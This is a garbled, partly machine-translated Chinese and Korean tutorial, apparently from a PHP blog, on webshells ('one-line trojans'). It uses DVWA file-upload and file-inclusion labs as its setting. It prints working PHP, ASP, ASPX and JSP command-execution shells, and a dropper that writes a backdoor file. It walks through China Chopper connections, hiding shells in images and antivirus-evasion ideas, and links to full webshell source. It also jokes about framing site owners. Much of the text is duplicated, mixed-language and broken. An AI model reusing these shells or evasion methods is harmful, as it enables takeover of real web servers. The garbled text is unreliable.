추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)
PHP의 경우 많은 트로이 목마를 볼 수 있지만 대부분의 사람들은 여전히 트로이 목마가 무엇인지, 그 형태와 원리를 충분히 이해하지 못하고 있습니다. 이 글이 여러분에게 예상치 못한 놀라움을 가져다 줄 것이라고 믿습니다. 그러니 함께 노력합시다!
개요:
많은 침투 프로세스에서 침투 담당자는 한 문장의 트로이 목마(Webshell라고 함)를 현재 웹 서비스 디렉터리에 업로드한 다음 ASP에 관계없이 시스템 권한을 얻기 위해 권한을 승격합니다. , php, jsp 또는 aspx. 그렇다면 한 문장으로 구성된 트로이 목마는 정확히 무엇인가요?
가장 간단한 한 문장으로 구성된 트로이 목마를 먼저 살펴보겠습니다.
<?php @eval($_POST['attack']);?>
[기본 원칙]파일 업로드 취약점을 사용하세요 한 문장으로 구성된 트로이 목마를 대상 웹 사이트에 업로드하면 Chinese Chopper chopper.exe
를 통해 로컬로 전체 웹 사이트 디렉터리를 획득하고 제어할 수 있습니다. @
는 나중에 실행 중 오류가 발생하더라도 오류가 보고되지 않는다는 의미입니다. eval()
함수는 괄호 안의 모든 명령문 문자열이 코드로 실행됨을 나타냅니다. $_POST['attack']
은 페이지에서 공격 매개변수 값을 얻는다는 의미입니다. chopper.exe
即可获取和控制整个网站目录。@
表示后面即使执行错误,也不报错。eval()
函数表示括号内的语句字符串什么的全都当做代码执行。$_POST['attack']
表示从页面中获得attack这个参数值。
入侵条件
其中,只要攻击者满足三个条件,就能实现成功入侵:
<ul style="list-style-type: disc;"><li>木马上传成功,未被杀;<br/>知道木马的路径在哪;<br/>上传的木马能正常运行。<br/></li></ul>
常见形式
常见的一句话木马:
php的一句话木马: <?php @eval($_POST['pass']);?> asp的一句话是: <%eval request ("pass")%> aspx的一句话是: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
我们可以直接将这些语句插入到网站上的某个asp/aspx/php文件上,或者直接创建一个新的文件,在里面写入这些语句,然后把文件上传到网站上即可。
基本原理
首先我们先看一个原始而又简单的php一句话木马:
<?php @eval($_POST['cmd']); ?>
看到这里不得不赞美前辈的智慧。对于一个稍微懂一些php的人而言,或者初级的安全爱好者,或者脚本小子而言,看到的第一眼就是密码是cmd,通过post提交数据,但是具体如何执行的,却不得而知,下面我们分析一句话是如何执行的。
这句话什么意思呢?
(1)php的代码要写在<?php ?>
里面,服务器才能认出来这是php代码,然后才去解析。
(2)@
符号的意思是不报错,即使执行错误,也不报错。
为什么呢?因为一个变量没有定义,就被拿去使用了,服务器就善意的提醒:Notice,你的xxx变量没有定义。这不就暴露了密码吗?所以我们加上@
。
(3)为什么密码是cmd呢?
那就要来理解这句话的意思了。php里面几个超全局变量:$_GET、$_POST就是其中之一。$_POST['a']
; 的意思就是a这个变量,用post的方法接收。
注释:传输数据的两种方法,get、post,post是在消息体存放数据,get是在消息头的url路径里存放数据(例如xxx.php?a=2)
(4)如何理解eval()函数
?
eval()把字符串作为PHP代码执行。
例如:eval("echo 'a'")
;其实就等于直接 echo 'a'
;再来看看<?php eval($_POST['pw']); ?>
首先,用post方式接收变量pw,比如接收到了:pw=echo 'a'
;这时代码就变成。结果如下:
连起来意思就是:用post方法接收变量pw,把变量pw里面的字符串当做php代码来执行。所以也就能这么玩:也就是说,你想执行什么代码,就把什么代码放进变量pw里,用post传输给一句话木马。你想查看目标硬盘里有没有小黄片,可以用php函数:opendir()
和readdir()
等等。想上传点小黄片,诬陷站主,就用php函数:move_uploaded_file
,当然相应的html要写好。你想执行cmd命令,则用exec()
침략 조건🎜
🎜그 중 공격자가 세 가지 조건을 충족하면 침입에 성공할 수 있습니다. 🎜cmd=header("Content-type:text/html;charset=gbk"); exec("ipconfig",$out); echo '<pre class="brush:php;toolbar:false">'; print_r($out); echo '
🎜공통 형식🎜
🎜공통 한 문장 트로이 목마: 🎜<?php @eval($_POST['pass']);?>
🎜기본 원칙🎜
🎜먼저 독창적이고 간단한 PHP 한 문장 트로이 목마를 살펴보겠습니다. 🎜<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre class="brush:php;toolbar:false">Your image was not uploaded.
{$target_path} succesfully uploaded!
<?php ?>
형식으로 작성해야 서버가 PHP 코드임을 인식하고 파싱할 수 있습니다. (2)
@
기호는 실행 오류가 발생하더라도 오류가 보고되지 않음을 의미합니다. 
@
를 추가합니다. 🎜🎜🎜(3) 비밀번호는 왜 cmd인가요? 🎜🎜🎜그럼 우리는 이 문장의 의미를 이해해야 합니다. PHP에는 여러 가지 슈퍼 전역 변수가 있습니다.
$_GET 및 $_POST가 그 중 하나입니다. $_POST['a']
;는 변수 a가 post 메소드를 사용하여 수신됨을 의미합니다. 🎜🎜참고: 데이터를 전송하는 방법에는 get과 post의 두 가지가 있습니다. Post는 메시지 본문에 데이터를 저장하고, get은 메시지 헤더의 URL 경로에 데이터를 저장합니다(예: xxx.php?a=2) )🎜 blockquote>🎜🎜 (4)eval() 함수
를 어떻게 이해하나요? 🎜🎜🎜🎜eval()은 문자열을 PHP 코드🎜로 실행합니다. 🎜🎜예:eval("echo 'a'")
;는 실제로echo 'a'
와 동일합니다.<? php eval($ _POST['pw']) ?>
먼저 post 메소드를 사용하여 pw 변수를 수신합니다.pw=echo 'a'</code >; 그러면 코드는 <code ><?php eval("echo 'a';") ?>
가 됩니다. 결과는 다음과 같습니다.
🎜🎜🎜🎜🎜함께 의미하는 것은 🎜: post 메소드를 사용하여 변수 pw를 수신하고 변수 pw에 있는 문자열을 PHP 코드로 실행합니다. 따라서 다음과 같이 플레이할 수 있습니다. 즉, 코드를 실행하려면 코드를 pw 변수에 넣고 post를 사용하여 이를 한 문장의 트로이 목마에 전송합니다. 대상 하드 디스크에 포르노 영화가 있는지 확인하려면
opendir()
및readdir()
등 PHP 함수를 사용할 수 있습니다. 웹사이트 소유자를 모함하기 위해 일부 포르노 비디오를 업로드하려면 PHP 함수(move_uploaded_file
)를 사용할 수 있습니다. 물론 해당 HTML을 잘 작성해야 합니다. cmd 명령을 실행하려면exec()
를 사용하세요. 🎜当然前提是:php配置文件php.ini里,关掉安全模式
safe_mode = off
,然后再看看 禁用函数列表 disable_functions = proc_open, popen, exec, system, shell_exec ,把exec去掉,确保没有exec(有些cms为了方便处理某些功能,会去掉的)。来看看效果,POST代码如下:
';cmd=header("Content-type:text/html;charset=gbk"); exec("ipconfig",$out); echo '<pre class="brush:php;toolbar:false">'; print_r($out); echo '로그인 후 복사로그인 후 복사在这里我们可以看到系统直接执行了系统命令。SO,大家现在应该理解,为什么说一句话短小精悍了吧!
木马利用
以下通过DVWA的文件上传漏洞,来看看一句话木马如何使用。
中国菜刀
【实验准备】首先在本地(桌面)保存一句话木马文件Hack.php(用记事本编写后修改文件后缀即可):
<?php @eval($_POST['pass']);?>로그인 후 복사로그인 후 복사接下来进入DVWA平台:http://127.0.0.1:8088/DVWA/index.php ,准备开始实验。
在Low 安全级别下,查看后台源码:
'; } else { // Yes! echo "<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre class="brush:php;toolbar:false">Your image was not uploaded.로그인 후 복사로그인 후 복사"; } }?>{$target_path} succesfully uploaded!로그인 후 복사로그인 후 복사로그인 후 복사从源码中发现,low级别未对上传的文件进行任何验证。所以可以直接上传PHP或者ASP一句话木马,此例采用php。
(1)我们将准备好的一句话木马直接上传,然后就可以看到回显的路径:
(2)接着就可以用菜刀连接了,菜刀界面右键,然后点击添加。然后填写相关的数据,如下图:
“中国菜刀”页面操作说明:
1、是连接的URL,就是网站的主路径然后加上上传文件时回显的保存路径;
2、是菜刀连接时的密码,就是上面图片一句话提交的数据(本例为"pass");
3、是一句话的解析类型,可以是asp,php,aspx。不同的解析类型的一句话内容不一样,文件后缀名不一样。(3)然后可以看连接成功的界面:
(4)接着双击或者右键“文件管理”,进入以下界面:
我们看到了整个网站的结构和文件,甚至是暴漏了我整个电脑主机的磁盘存储!!可以进行任意非法增删查改!!网站(主机)至此沦陷……
图片木马
木马如何才能上传成功?通常防御者都会对类型、大小、进行过滤。另外,若规定是上传的图片,还会对图片进行采集。即使攻击者修改文件类型,也过不了图片采集那一关。所以,这就需要一张图片来做掩护。做成隐藏在图片下的木马。linux和windows都有相应的命令,能够让一个文件融合到另一个文件后面,达到隐藏的目的。
承接上面DVWA实验,High 安全等级,继续先查看源码:
'; } else { // Yes! echo "<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Is it an image? if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { // No echo '<pre class="brush:php;toolbar:false">Your image was not uploaded.로그인 후 복사"; } } else { // Invalid file echo '{$target_path} succesfully uploaded!로그인 후 복사로그인 후 복사로그인 후 복사'; } }?>Your image was not uploaded. We can only accept JPEG or PNG images.로그인 후 복사可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是
“*.jpg”
、“.jpeg”
、“*.png”
之一。同时,getimagesize()
函数更是限制了上传文件的文件头必须为图像类型。我们需要将上传文件的文件头伪装成图片,首先利用
copy命令
将一句话木马文件Hack.php
与正常的图片文件ClearSky.jpg
合并:【备注】以下为CMD下用copy命令制作“图片木马”的步骤,其中,
ClearSky.jpg/b
中“b”表示“二进制文件”,hack.php/a
中“a"表示ASCII码文件。生成带有木马的图片文件
hack.jpg
:
接着我们打开生成的图片木马文件,我们可以看到一句话木马已附在图片文件末尾:
然后我们试着将生成的木马图片文件
hack.jpg
上传,上传成功!!!访问图片木马:
接下来,上菜刀!!!!!!!!!!!
但是由于是图片木马,PHP脚本并无法被解析,菜刀连接木马失败:
既然图片木马也无法解析,那该怎么办?High级别的程序只允许上传图片啊……别慌,此处结合DVWA靶场自带的文件包含漏洞即可成功上传PHP木马并上菜刀连接了,下面进行攻击演示。
首先通过上述方法制造新的图片木马,图片文件后面的PHP脚本更改为:
<?php fputs(fopen('muma.php','w'),'<?php @eval($_POST[hack]);?>'); ?>로그인 후 복사然后制作新的图片木马,如下图所示:
接着上传到DVWA,然后借助文件包含漏洞模块访问该木马文件:
访问的地址如下:
<code style="max-width:90%">http://10.27.25.118:8088/DVWA/vulnerabilities/fi/?page=file:///C:\SoftWare\PhpStudy2016\WWW\DVWA\hackable\uploads\hacker.jpg
,如下图所示:
此时在DVWA文件包含漏洞的路径下便自动生成了PHP一句话木马脚本文件
muma.php
,如下图所示:
此时再上菜刀连接,即可成功连接:至此,我们成功结合文件包含漏洞,在只能上传图片的文件上传功能处上传图片木马并生成一句话木马。
木马免杀
就算木马能正常运行,那么过段时间会不会被管理员杀掉?如何免杀?上面虽然木马上传成功了,但是只要管理员一杀毒,全部都能杀出来。而且,还会很明确的说这是后门。因此,作为攻击者就得会各种免杀技巧。防御者的防御很简单,什么时候哪个论坛爆出新的免杀技巧,安全人员立马将这玩意儿放入黑名单,那么这种免杀技巧就失效了。所以,攻击者得不断创新,发明新的免杀技巧。
【免杀思路】:
1、将源代码进行再次编码。
2、将那一句话木马进行base64编码,存放在"乱七八糟"的代码中,直接看图:
3、还是一句话木马,进行变形,只不过,这次的变形是在数组中键值对变形。很强。
不得不说,免杀的思路真是越猥琐,越好。研究起来非常有意思。以后等我渗透熟练了,会好好研究一下PHP代码的各种免杀技巧。很好玩,思路很猥琐。小马和大马
小马和大马都是网页类型中的一种后门,是通过用来控制网站权限的,那最主要的区别就是小马是用来上传大马的。通过小马上传大马,这时候有个疑问了,那不是多此一举了,为什么要用小马来上传大马,而干嘛不直接上传大马用好了。其实这里是因为小马体积小,有比大马更强的隐蔽优势,而且有针对文件大小上传限制的漏洞,所以才有小马,小马也通常用来做留备用后门等。
网页小马
小马体积非常小,只有2KB那么大,隐蔽性也非常的好,因为小马的作用很简单,就是一个上传功能,就没有其它的了,它的作用仅仅是用来上传文件,所以也能过一些安全扫描。小马是为了方便上传大马的,因为很多漏洞做了上传限制,大马上传不了,所以就只能先上传小马,再接着通过小马上传大马了。小马还可以通过与图片合成一起通过IIS漏洞来运行。
Java语言编写的后台咱们使用JSP木马,与前面的一句话木马不同,菜刀中JSP木马较长,以下是一个简单的JSP小马:
"); }%><% if("123".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre class="brush:php;toolbar:false">"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("로그인 후 복사成功上传后如果能解析的话,请求:
http://服务器IP:端口/Shell/cmd.jsp?pwd=123&i=ipconfig
即可执行命令。网页大马
大马的体积就比较大了,通常在50K左右,比小马会大好多倍,但对应的功能也很强大,包括对数据的管理,命令的操作,数据库的管理,解压缩,和提权等功能,都非常强大。这种大马一旦网站被种了,网站基本就在这个大马控制之中。大马的隐蔽性不好,因为涉及很多敏感代码,安全类程序很容易扫描到。
中国菜刀的一句话不算,菜刀一句话通过客户端来操作也非常强大,一句话的代码可以和大马实现的一样。我们这里说的小马和大马是指网页类型中的,小马就是为了配合上传大马的,这是它最主要的作用,还有就是小马可以当做备用的后门来使用,一般大马容易被发现,而小马则更容易隐藏在系统的文件夹中。
来看看一个大马利用实例:在虚拟机中往DVWA上传PHP大马(源码附在最后):
访问木马文件123.php
,提交密码123456后进入大马的功能列表,下图所示为文件管理功能:继续访问下命令执行功能(其他功能不展示了):
最后附上该PHP大马的代码(代码太长,百度云盘链接):
https://pan.baidu.com/s/1XGUp5Q_Q2zn46kcQxE5M3A
提取码:56pd。另外提供JSP大马的参考地址:https://blog.csdn.net/weixin_34248023/article/details/93094456
。WebShell
Webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。 webshell根据功能也分为大马、小马和一句话木马,例如:
通常把这句话写入一个文档里面,然后文件名改成xx.asp。然后传到服务器上面。用eval方法将
request(“pass”)
转换成代码执行,request函数的作用是应用外部文件。这相当于一句话木马的客户端配置。具体分类如下图:推荐学习:《PHP视频教程》
위 내용은 추천 트로이 목마란 무엇이며, 그 형태와 원리는 무엇인가? (선택된)의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

핫 AI 도구

Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool
무료로 이미지를 벗다

Clothoff.io
AI 옷 제거제

Video Face Swap
완전히 무료인 AI 얼굴 교환 도구를 사용하여 모든 비디오의 얼굴을 쉽게 바꾸세요!

인기 기사

뜨거운 도구

메모장++7.3.1
사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전
중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기
강력한 PHP 통합 개발 환경

드림위버 CS6
시각적 웹 개발 도구

SublimeText3 Mac 버전
신 수준의 코드 편집 소프트웨어(SublimeText3)

뜨거운 주제











Alipay PHP ...

JWT는 주로 신분증 인증 및 정보 교환을 위해 당사자간에 정보를 안전하게 전송하는 데 사용되는 JSON을 기반으로 한 개방형 표준입니다. 1. JWT는 헤더, 페이로드 및 서명의 세 부분으로 구성됩니다. 2. JWT의 작업 원칙에는 세 가지 단계가 포함됩니다. JWT 생성, JWT 확인 및 Parsing Payload. 3. PHP에서 인증에 JWT를 사용하면 JWT를 생성하고 확인할 수 있으며 사용자 역할 및 권한 정보가 고급 사용에 포함될 수 있습니다. 4. 일반적인 오류에는 서명 검증 실패, 토큰 만료 및 대형 페이로드가 포함됩니다. 디버깅 기술에는 디버깅 도구 및 로깅 사용이 포함됩니다. 5. 성능 최적화 및 모범 사례에는 적절한 시그니처 알고리즘 사용, 타당성 기간 설정 합리적,

세션 납치는 다음 단계를 통해 달성 할 수 있습니다. 1. 세션 ID를 얻으십시오. 2. 세션 ID 사용, 3. 세션을 활성 상태로 유지하십시오. PHP에서 세션 납치를 방지하는 방법에는 다음이 포함됩니다. 1. 세션 _regenerate_id () 함수를 사용하여 세션 ID를 재생산합니다. 2. 데이터베이스를 통해 세션 데이터를 저장하십시오.

PHP 개발에서 견고한 원칙의 적용에는 다음이 포함됩니다. 1. 단일 책임 원칙 (SRP) : 각 클래스는 하나의 기능 만 담당합니다. 2. Open and Close Principle (OCP) : 변경은 수정보다는 확장을 통해 달성됩니다. 3. Lisch의 대체 원칙 (LSP) : 서브 클래스는 프로그램 정확도에 영향을 미치지 않고 기본 클래스를 대체 할 수 있습니다. 4. 인터페이스 격리 원리 (ISP) : 의존성 및 사용되지 않은 방법을 피하기 위해 세밀한 인터페이스를 사용하십시오. 5. 의존성 반전 원리 (DIP) : 높고 낮은 수준의 모듈은 추상화에 의존하며 종속성 주입을 통해 구현됩니다.

시스템이 다시 시작된 후 UnixSocket의 권한을 자동으로 설정하는 방법. 시스템이 다시 시작될 때마다 UnixSocket의 권한을 수정하려면 다음 명령을 실행해야합니다.

phpstorm에서 CLI 모드를 디버그하는 방법은 무엇입니까? PHPStorm으로 개발할 때 때때로 CLI (Command Line Interface) 모드에서 PHP를 디버그해야합니다 ...

정적 바인딩 (정적 : :)는 PHP에서 늦은 정적 바인딩 (LSB)을 구현하여 클래스를 정의하는 대신 정적 컨텍스트에서 호출 클래스를 참조 할 수 있습니다. 1) 구문 분석 프로세스는 런타임에 수행됩니다. 2) 상속 관계에서 통화 클래스를 찾아보십시오. 3) 성능 오버 헤드를 가져올 수 있습니다.

PHP 개발에서 PHP의 CURL 라이브러리를 사용하여 JSON 데이터를 보내면 종종 외부 API와 상호 작용해야합니다. 일반적인 방법 중 하나는 컬 라이브러리를 사용하여 게시물을 보내는 것입니다 ...
